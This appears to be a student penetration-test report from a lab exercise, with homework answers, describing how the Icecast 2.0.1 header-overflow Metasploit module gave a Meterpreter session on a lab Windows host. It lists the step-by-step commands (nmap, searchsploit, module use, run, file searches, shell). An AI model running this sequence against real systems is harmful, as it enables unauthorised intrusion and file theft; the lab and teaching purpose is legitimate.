GoodSecurity Penetration Test Report

[AlexSalvucci@GoodSecurity.com](mailto:AlexSalvucci@GoodSecurity.com)

4/30/2022

# High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp’s CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans’ computer and determine if it is at risk. GoodSecurity’s overall objective was to exploit any vulnerable software and find the secret recipe file on Hans’ computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans’ desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit a program that had a major vulnerability. The details of the attack can be found in the ‘Findings’ category.

# Findings

**Main vulnerability:**

Machine IP:

192.168.0.20

Hostname:

MSEDGEWIN10

Vulnerability Exploited:

Icecast 2.0.1 (Windows x86) - Header Overwrite

Located at metasploit’s /exploit/windows/http/icecast\_header

Vulnerability Explanation:

This vulnerability is an issue with a buffer overflow in Icecast version 2.0.1. If Icecast receives 32 HTTP headers, a write will occur past the end of a specific pointer array. This allows an attacker to execute malicious code, including code that can grant them access or open a meterpreter session..

Severity:

This vulnerability is severe. Through it, an attacker can search through, change and download confidential files, as well as access a shell on the victim computer.

Proof of Concept:

Text

Description automatically generatedUsing nmap, I found that the machine was using Icecast 2.0.1, which is vulnerable to the buffer overflow above. After that, I simply ran metasploit’s script to for that exploit to open a meterpreter session on the target machine.

Other potential vulnerabilities:

While connected to the laptop, I ran Meterpreter's local exploit suggester to search for other potential vulnerabilities. This suggested two potential vulnerabilities to run while connected.

The first was exploit/windows/local/ikeext\_service. This would not work, as the exploit’s code states that it only works on installations of Windows Vista through Windows 8, and the target was running Windows 10.

The second was exploit/windows/local/ms16\_075\_reflection. However, this exploit aborts when ran due to Session/Target Arch mismatch, saying that WOW64 is not supported.

No other vulnerabilities have been discovered as of yet.

# Recommendations

It is imperative that, should GoodCorp’s CEO wish to continue using Icecast, he update Icecast on his laptop to the newest version. With the newest version, the buffer overflow vulnerability has been patched. It is further recommended that all the machine’s software be updated regularly, to reduce the risk of potential vulnerabilities.

**Homework questions**

1. Perform a service and version scan using Nmap to determine which services are up and running:
   * Run the Nmap command that performs a service and version scan against the target.

Answer: nmap -sV 192.168.0.20

1. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
   * Run the SearchSploit commands to show available Icecast exploits.

Answer: searchsploit icecast

1. Now that we know which exploits are available to us, let's start Metasploit:
   * Run the command that starts Metasploit:

Answer: msfconsole

1. Search for the Icecast module and load it for use.
   * Run the command to search for the Icecast module:

Answer: search icecast

* + Run the command to use the Icecast module: search icecast

**Note:** Instead of copying the entire path to the module, you can use the number in front of it.

Answer: use 0

1. Set the RHOST to the target machine.
   * Run the command that sets the RHOST:

Answer: set RHOSTS 192.168.0.20

1. Run the Icecast exploit.
   * Run the command that runs the Icecast exploit.

Answer: run

* + Run the command that performs a search for the secretfile.txt on the target.

Answer: search -f \*secretfile.txt

1. You should now have a Meterpreter session open.
   * Run the command to performs a search for the recipe.txt on the target:

Answer: search -f \*recipe.txt

* + **Bonus**: Run the command that exfiltrates the recipe\*.txt file:

Answer:

1. You can also use Meterpreter's local exploit suggester to find possible exploits.
   * **Answer:** run post/multi/recon/local\_exploit\_suggester

**Bonus**

A. Run a Meterpreter post script that enumerates all logged on users.

Answer:

B. Open a Meterpreter shell.

Answer: shell

C. Run the command that displays the target's computer system information:

Answer: sysinfo